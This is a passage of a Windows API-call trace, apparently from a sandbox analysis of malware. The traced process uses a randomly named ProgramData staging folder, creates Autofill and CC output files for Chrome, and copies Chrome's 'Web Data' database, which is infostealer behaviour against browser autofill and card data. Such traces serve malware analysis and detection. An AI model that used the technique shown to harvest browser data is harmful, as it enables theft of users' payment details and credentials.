lpNumberOfBytesRead=0x19ed44*=0x800, lpOverlapped=0x0) returned 1 [0050.456] SetFilePointer (in: hFile=0x390, lDistanceToMove=24576, lpDistanceToMoveHigh=0x19ea90*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea90*=0) returned 0x6000 [0050.456] ReadFile (in: hFile=0x390, lpBuffer=0x1f2389c, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19eab0, lpOverlapped=0x0 | out: lpBuffer=0x1f2389c*, lpNumberOfBytesRead=0x19eab0*=0x800, lpOverlapped=0x0) returned 1 [0050.456] SetFilePointer (in: hFile=0x390, lDistanceToMove=26624, lpDistanceToMoveHigh=0x19ea70*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea70*=0) returned 0x6800 [0050.456] ReadFile (in: hFile=0x390, lpBuffer=0x1f24d44, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ea90, lpOverlapped=0x0 | out: lpBuffer=0x1f24d44*, lpNumberOfBytesRead=0x19ea90*=0x800, lpOverlapped=0x0) returned 1 [0050.456] SetFilePointer (in: hFile=0x390, lDistanceToMove=45056, lpDistanceToMoveHigh=0x19ea6c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea6c*=0) returned 0xb000 [0050.457] ReadFile (in: hFile=0x390, lpBuffer=0x1f0b014, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ea8c, lpOverlapped=0x0 | out: lpBuffer=0x1f0b014*, lpNumberOfBytesRead=0x19ea8c*=0x800, lpOverlapped=0x0) returned 1 [0050.457] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.457] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.457] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ee70 | out: lpOverlapped=0x19ee70) returned 1 [0050.457] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35017, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.457] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ee5c | out: lpFileInformation=0x19ee5c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.457] GetLastError () returned 0x2 [0050.457] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eeac | out: lpFileSizeHigh=0x19eeac*=0x0) returned 0x11000 [0050.457] SetFilePointer (in: hFile=0x390, lDistanceToMove=24, lpDistanceToMoveHigh=0x19ee98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee98*=0) returned 0x18 [0050.457] ReadFile (in: hFile=0x390, lpBuffer=0x19eee8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x19eeb8, lpOverlapped=0x0 | out: lpBuffer=0x19eee8*, lpNumberOfBytesRead=0x19eeb8*=0x10, lpOverlapped=0x0) returned 1 [0050.457] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee94 | out: lpFileSizeHigh=0x19ee94*=0x0) returned 0x11000 [0050.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35046, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.457] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ee74 | out: lpFileInformation=0x19ee74*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.458] GetLastError () returned 0x2 [0050.458] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eeac | out: lpFileSizeHigh=0x19eeac*=0x0) returned 0x11000 [0050.458] SetFilePointer (in: hFile=0x390, lDistanceToMove=8192, lpDistanceToMoveHigh=0x19ee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee88*=0) returned 0x2000 [0050.458] ReadFile (in: hFile=0x390, lpBuffer=0x1f0d4c4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19eea8, lpOverlapped=0x0 | out: lpBuffer=0x1f0d4c4*, lpNumberOfBytesRead=0x19eea8*=0x800, lpOverlapped=0x0) returned 1 [0050.458] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.458] CreateFileW (lpFileName="files\\Autofill\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\autofill\\google chrome_default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.458] GetFileType (hFile=0x394) returned 0x1 [0050.459] CreateFileW (lpFileName="files\\CC\\Google Chrome_Default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cc\\google chrome_default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.459] GetFileType (hFile=0x390) returned 0x1 [0050.459] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.459] GetFileType (hFile=0x394) returned 0x1 [0050.459] CreateFileW (lpFileName="wd" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0050.461] GetFileType (hFile=0x398) returned 0x1 [0050.461] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.461] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.461] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.462] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.462] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.463] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.464] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.465] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.466] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.467] ReadFile (in: hFile=0x394, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x0, lpOverlapped=0x0) returned 1 [0050.467] WriteFile (in: hFile=0x398, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4d8, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4d8*=0x1000, lpOverlapped=0x0) returned 1 [0050.467] GetFullPathNameW (in: lpFileName="wd", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.467] GetFullPathNameW (in: lpFileName="wd", nBufferLength=0x2a, lpBuffer=0x1f14120, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", lpFilePart=0x0) returned 0x26 [0050.467] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f34ff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0050.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0050.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", nBufferLength=0x2a, lpBuffer=0x1f13fa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd", lpFilePart=0x0) returned 0x26 [0050.468] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8 | out: lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8) returned 1 [0050.468] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f150*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f150*=0) returned 0x0 [0050.468] ReadFile (in: hFile=0x394, lpBuffer=0x19f1cc, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f170, lpOverlapped=0x0 | out: lpBuffer=0x19f1cc*, lpNumberOfBytesRead=0x19f170*=0x64, lpOverlapped=0x0) returned 1 [0050.468] LockFile (hFile=0x394, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.468] LockFileEx (in: hFile=0x394, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed24 | out: lpOverlapped=0x19ed24) returned 1 [0050.468] UnlockFile (hFile=0x394, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.468] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35017, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.468] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ed10 | out: lpFileInformation=0x19ed10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.469] GetLastError () returned 0x2 [0050.469] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ed48 | out: lpFileSizeHigh=0x19ed48*=0x0) returned 0x11000 [0050.469] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35046, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.469] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ed28 | out: lpFileInformation=0x19ed28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.469] GetLastError () returned 0x2 [0050.469] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ed60 | out: lpFileSizeHigh=0x19ed60*=0x0) returned 0x11000 [0050.469] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed14*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed14*=0) returned 0x0 [0050.469] ReadFile (in: hFile=0x394, lpBuffer=0x1e8def4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ed34, lpOverlapped=0x0 | out: lpBuffer=0x1e8def4*, lpNumberOfBytesRead=0x19ed34*=0x800, lpOverlapped=0x0) returned 1 [0050.469] SetFilePointer (in: hFile=0x394, lDistanceToMove=24576, lpDistanceToMoveHigh=0x19ea80*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea80*=0) returned 0x6000 [0050.469] ReadFile (in: hFile=0x394, lpBuffer=0x1f1fe7c, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19eaa0, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe7c*, lpNumberOfBytesRead=0x19eaa0*=0x800, lpOverlapped=0x0) returned 1 [0050.469] SetFilePointer (in: hFile=0x394, lDistanceToMove=26624, lpDistanceToMoveHigh=0x19ea60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea60*=0) returned 0x6800 [0050.469] ReadFile (in: hFile=0x394, lpBuffer=0x1f23ca4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ea80, lpOverlapped=0x0 | out: lpBuffer=0x1f23ca4*, lpNumberOfBytesRead=0x19ea80*=0x800, lpOverlapped=0x0) returned 1 [0050.469] SetFilePointer (in: hFile=0x394, lDistanceToMove=45056, lpDistanceToMoveHigh=0x19ea5c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ea5c*=0) returned 0xb000 [0050.469] ReadFile (in: hFile=0x394, lpBuffer=0x1f24944, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ea7c, lpOverlapped=0x0 | out: lpBuffer=0x1f24944*, lpNumberOfBytesRead=0x19ea7c*=0x800, lpOverlapped=0x0) returned 1 [0050.470] UnlockFile (hFile=0x394, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.470] LockFile (hFile=0x394, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.470] LockFileEx (in: hFile=0x394, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ee60 | out: lpOverlapped=0x19ee60) returned 1 [0050.470] UnlockFile (hFile=0x394, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35017, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0050.470] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ee4c | out: lpFileInformation=0x19ee4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.470] GetLastError () returned 0x2 [0050.470] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ee9c | out: lpFileSizeHigh=0x19ee9c*=0x0) returned 0x11000 [0050.470] SetFilePointer (in: hFile=0x394, lDistanceToMove=24, lpDistanceToMoveHigh=0x19ee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee88*=0) returned 0x18 [0050.470] ReadFile (in: hFile=0x394, lpBuffer=0x19eed8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x19eea8, lpOverlapped=0x0 | out: lpBuffer=0x19eed8*, lpNumberOfBytesRead=0x19eea8*=0x10, lpOverlapped=0x0) returned 1 [0050.470] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ee84 | out: lpFileSizeHigh=0x19ee84*=0x0) returned 0x11000 [0050.470] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f35046, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0050.470] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\wd-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\wd-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ee64 | out: lpFileInformation=0x19ee64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.470] GetLastError () returned 0x2 [0050.470] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ee9c | out: lpFileSizeHigh=0x19ee9c*=0x0) returned 0x11000 [0050.470] SetFilePointer (in: hFile=0x394, lDistanceToMove=16384, lpDistanceToMoveHigh=0x19ee78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee78*=0) returned 0x4000 [0050.470] ReadFile (in: hFile=0x394, lpBuffer=0x1f0e4cc, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x19ee98, lpOverlapped=0x0 | out: lpBuffer=0x1f0e4cc*, lpNumberOfBytesRead=0x19ee98*=0x800, lpOverlapped=0x0) returned 1 